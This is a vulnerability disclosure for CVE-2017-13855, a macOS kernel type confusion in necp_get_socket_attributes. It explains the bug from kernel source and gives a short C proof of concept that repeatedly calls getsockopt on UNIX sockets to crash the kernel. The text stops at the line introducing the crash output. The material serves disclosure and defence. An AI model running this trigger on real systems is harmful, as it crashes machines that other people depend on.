macOS necp_get_socket_attributes so_pcb Type Confusion Exploit

MacOS so_pcb type confusion in necp_get_socket_attributes 

CVE-2017-13855


When setsockopt() is called on any socket with level SOL_SOCKET and optname SO_NECP_ATTRIBUTES, necp_get_socket_attributes is invoked.
necp_get_socket_attributes() unconditionally calls sotoinpcb(so):

    errno_t
    necp_get_socket_attributes(struct socket *so, struct sockopt *sopt)
    {
            int error = 0;
            u_int8_t *buffer = NULL;
            u_int8_t *cursor = NULL;
            size_t valsize = 0;
            struct inpcb *inp = sotoinpcb(so);

            if (inp->inp_necp_attributes.inp_domain != NULL) {
                    valsize += sizeof(struct necp_tlv_header) + strlen(inp->inp_necp_attributes.inp_domain);
            }
    [...]
    }

sotoinpcb() causes type confusion if so->so_pcb is of an unexpected type (because the socket is not an IPv4/IPv6 socket):

    #define sotoinpcb(so) ((struct inpcb *)(so)->so_pcb)

If necp_get_socket_attributes() is called on a UNIX domain socket, this will cause the members of inp->inp_necp_attributes to be read from type-confused, probably also out-of-bounds memory behind the actual so->so_pcb (which is of type `struct unpcb`, which looks much smaller than `struct inpcb`).


To trigger this bug, compile the following code, run it, and cause some system activity, e.g. by launching the browser (the PoC won't crash if so->so_pcb contains NULLs in the right spots).

==============
#include <sys/types.h>
#include <sys/un.h>
#include <sys/socket.h>
#include <err.h>
#include <unistd.h>

#define SO_NECP_ATTRIBUTES 0x1109

int main(void) {
  while (1) {
    int s = socket(AF_UNIX, SOCK_STREAM, 0);
    if (s == -1)
      err(1, "socket");
    getsockopt(s, SOL_SOCKET, SO_NECP_ATTRIBUTES, NULL, NULL);
    close(s);
  }
}

On macOS 10.13 (17A405), this causes the following crash:
